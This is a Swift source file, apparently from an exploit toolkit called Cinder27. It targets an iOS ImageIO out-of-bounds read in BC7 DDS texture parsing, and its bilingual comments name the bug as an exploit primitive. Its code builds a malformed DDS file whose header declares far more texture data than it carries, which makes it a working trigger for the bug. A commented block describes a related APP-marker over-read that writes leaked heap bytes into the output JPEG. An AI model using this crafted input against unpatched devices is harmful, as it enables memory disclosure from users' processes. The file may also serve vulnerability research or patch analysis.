// iio.dds.bc7 · ImageIO · BCReadPlugin::initialize · CVE-2026-112627
// 原语: OOB 读 · 进程内 · tier 2
// Primitive: OOB read · in-process · tier 2
//
// [zh] BC7 纹理 mip 截断
// 截断的 mip 层级在 27.0 仅产生一条 WARNING 后继续块解码，块解码器随即读到数据之外。27.2 将「零个完整 mip」变为硬错误，并补上 64 位 mip 尺寸运算与尺寸/数据量闸门。
//
// [en] BC7 texture mip truncation
// A truncated mip level produces only a WARNING on 27.0 and block decoding continues, so the block
// decoder reads past the data. iOS 27.2 turns "zero complete mips" into a hard error and adds 64-bit
// mip size arithmetic plus dimension and data-size gates.
// ── 判别 / oracle ──
// 512×512 BC7 需要 65536 字节，实际只给 64 字节。
//  变体 iio.appx: APP 标记越界读 → 泄露字节写进输出 JPEG

import Foundation

// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
enum B {
    static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
    static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
    static func be32(_ v: UInt32) -> [UInt8] {
        [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
    }
    static func le32(_ v: UInt32) -> [UInt8] {
        [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
    }
    static func be64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
    }
    static func le64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
    }
    static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
    static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
    static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}

/*
// iio.appx · ImageIO · _APPx::writeToStream · CVE-2026-112627 / 112561
// 原语: 信息泄露 · 进程内 · tier 1
// Primitive: info leak · in-process · tier 1
//
// [zh] APP 标记越界读 → 泄露字节写进输出 JPEG
// _APPx::writeToStream 在 27.0 将 (buffer + offset, length) 原样写入输出流，不含任何边界运算。当标记声明的长度超出实际块时，重编码路径会把堆上相邻字节直接写入产出的
// JPEG 文件 —— 泄露物即产物本身，不需要任何回传通道。27.2 计算 end − offset 并以 csel 钳制，超出时报 \"marker 0x%04X is out of bounds\"。
//
// [en] APP marker out-of-bounds read → leaked bytes written into the output JPEG
// _APPx::writeToStream on 27.0 writes (buffer + offset, length) straight to the output stream with
// no bounds arithmetic at all. When a marker declares a length beyond the actual block, the re-encode
// path writes adjacent heap bytes directly into the produced JPEG — the leak is the artifact itself,
// needing no exfiltration channel. iOS 27.2 computes end − offset and clamps with csel, reporting
// "marker 0x%04X is out of bounds" when it overruns.
*/

// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TexturePayload) ──
enum TexturePayload {
static func bc7Short(width: Int = 512, height: Int = 512, dataBytes: Int = 64) -> Data {
        var out = Data("DDS ".utf8)
        out.append(contentsOf: B.le32(124))
        out.append(contentsOf: B.le32(0x00081007))
        out.append(contentsOf: B.le32(UInt32(height)))
        out.append(contentsOf: B.le32(UInt32(width)))
        out.append(contentsOf: B.le32(0))
        out.append(contentsOf: B.le32(0))
        out.append(contentsOf: B.le32(1))
        out.append(contentsOf: [UInt8](repeating: 0, count: 44))
        out.append(contentsOf: B.le32(32))
        out.append(contentsOf: B.le32(0x4))
        out.append(contentsOf: B.ascii("DX10"))
        out.append(contentsOf: [UInt8](repeating: 0, count: 20))
        out.append(contentsOf: B.le32(0x1000))
        out.append(contentsOf: B.le32(0) + B.le32(0) + B.le32(0) + B.le32(0))
        // DX10 header — DXGI_FORMAT_BC7_UNORM = 98, TEXTURECUBE off, arraySize 1
        out.append(contentsOf: B.le32(98) + B.le32(3) + B.le32(0) + B.le32(1) + B.le32(0))
        out.append(contentsOf: [UInt8](repeating: 0, count: max(1, dataBytes)))
        return out
    }

}